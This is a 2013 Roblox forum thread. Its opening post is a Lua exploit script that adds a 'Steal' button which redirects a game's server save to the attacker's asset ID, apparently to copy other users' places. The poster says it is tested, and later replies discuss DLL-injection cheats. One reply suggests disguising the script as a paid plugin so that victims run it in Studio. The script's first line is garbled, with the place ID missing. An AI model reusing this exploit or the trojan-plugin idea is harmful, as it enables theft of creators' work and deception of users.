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mateykzero
#88247609Friday, February 01, 2013 7:28 PM GMT

I have tested it (stole one of my alternate accounts places, nobody elses) It works, it would be nice is you patched it local placeID = s = Instance.new("ScreenGui", game.CoreGui) s.Name = ("Steal") PluginGuiworkspace = Instance.new("TextButton") PluginGuiworkspace.Parent = s PluginGuiworkspace.Size = UDim2.new(0,60,0,25) PluginGuiworkspace.Position = UDim2.new(0,130,0,380) PluginGuiworkspace.Text="Steal" PluginGuiworkspace.BackgroundTransparency = 0.3 PluginGuiworkspace.TextColor = BrickColor.new("white") PluginGuiworkspace.BackgroundColor = BrickColor.new("Gray") PluginGuiworkspace.BorderColor = BrickColor.new("Black") PluginGuiworkspace.Font = "ArialBold" PluginGuiworkspace.FontSize = "Size14" PluginGuiworkspace.TextStrokeColor3 = Color3.new(0/0,0/0,0/0) PluginGuiworkspace.TextStrokeTransparency = 0.3 PluginGuiworkspace.BorderSizePixel = 1 PluginGuiworkspace.BorderColor = BrickColor.new("White") PluginGuiworkspace.MouseButton1Down:connect(function() game:SetServerSaveUrl("http://www.roblox.com/Data/Upload.ashx?assetid="..placeID) game:ServerSave() end)
[rfa#hidefromsearch]
#88247861Friday, February 01, 2013 7:32 PM GMT

[rfa#hidefromsearch]
Prehistoricman
#88247909Friday, February 01, 2013 7:33 PM GMT

^ lol
mateykzero
#88247947Friday, February 01, 2013 7:34 PM GMT

@trio Very possible, actually. Every time a Dll inject is patched, a new one takes its place.
mateykzero
#88248009Friday, February 01, 2013 7:35 PM GMT

Just like with the noclip exploit. A new code is found within an hour after the patch.
essu8
#88248636Friday, February 01, 2013 7:47 PM GMT

it's not a "code" it's an address stupid and it only changes because they obviously changed some code and recompiled stupid
noliCAIKS
#88249062Friday, February 01, 2013 7:55 PM GMT

@essu8 Your wisdom fils me with joy.
essu8
#88249239Friday, February 01, 2013 7:58 PM GMT

omg stop bullying
mateykzero
#88249351Friday, February 01, 2013 8:00 PM GMT

@Essu I find your hostility very unneccesary.
zars15
#88251108Friday, February 01, 2013 8:29 PM GMT

@matey. They can't patch DLLs. I haven't heard of any program that doesn't allow DLLs(well probably there are some special programs dedicated for anti-dll security, but otherwise, almost all softwares can't stop DLL).
booing
#88257548Friday, February 01, 2013 9:57 PM GMT

Several microsoft programs have DLL detection, but that's it. People are incredibly ignorant for thinking DLLs have to do with exploiting in all cases. The studio exploit that got leaked is just about the only case I can think of where putting an exploit in a DLL could make things easier, although he could have just done it manually in a trainer.
zars15
#88257903Friday, February 01, 2013 10:01 PM GMT

It's worth to make DLL if you're going to add like interesting user interface. For example: Multiple cheats in one DLL and have a nice windows form windows, with info like which of cheats are active and what button to toggle them.
zxv12
#88258708Friday, February 01, 2013 10:10 PM GMT

Essu8 for president of the US please. "wer only at war becus u nuked them stupid" "well my adress is the white house stupid" "well just put more taxes stupid"
nickbricknick464
#88259108Friday, February 01, 2013 10:15 PM GMT

This script originates from one of the earliest and most major exploits, it makes uses of the fact it runs as a core script to execute locked methods.
DannyCore
#88260861Friday, February 01, 2013 10:34 PM GMT

does this actually work? I don't want to waste my time trying something that doesn't work.
Sharksie
#88261337Friday, February 01, 2013 10:39 PM GMT

Why do we even have DLLs? I'm no expert, but there must be a more secure way of doing things.
zars15
#88261595Friday, February 01, 2013 10:42 PM GMT

@Arceus. Libraries. C++ and similar stuff needz dem, and this is most simplest and most efficient one, I bet.
Prehistoricman
#88261606Friday, February 01, 2013 10:42 PM GMT

DLLs contain code that can be used as add-ons to a program.
RenderSettings
#88262193Friday, February 01, 2013 10:48 PM GMT

I assume this is supposed to be loaded into a plugin online, so it pretty much useless unlike you need to steal bricks. Since script's sources are replicated, the entire game is pretty much still safe.
Vorlias
#88270792Saturday, February 02, 2013 12:32 AM GMT

I'm guessing ServerSave() is the method used by private servers to save automatically?
RenderSettings
#88273040Saturday, February 02, 2013 12:59 AM GMT

No, it sets the URL the place will save to when you exit. It's how when you play solo you can 'Save' from that nifty gui.
Vorlias
#88273248Saturday, February 02, 2013 1:02 AM GMT

Ah, was just wondering since I was curious as if it would save the state on online mode or fetch the offline copy.
pwnedu46
#88293371Saturday, February 02, 2013 5:34 AM GMT

Sorcus is on the Bus o' adult beverages. He might not be doing much bug fixing/moderating for a while. https://twitter.com/Shedletsky/status/297519129122963458
FoolHater
#88311052Saturday, February 02, 2013 2:06 PM GMT

This would only be dangerous if you renamed it "Admin Attention-Grabbing Helps You Make Guis and Clan Buildings B/C You Don't Know How to Script" Plugin, and then get someone to buy it and run it in Studio.
nate979o
#100912822Tuesday, June 11, 2013 11:37 PM GMT

y u no work

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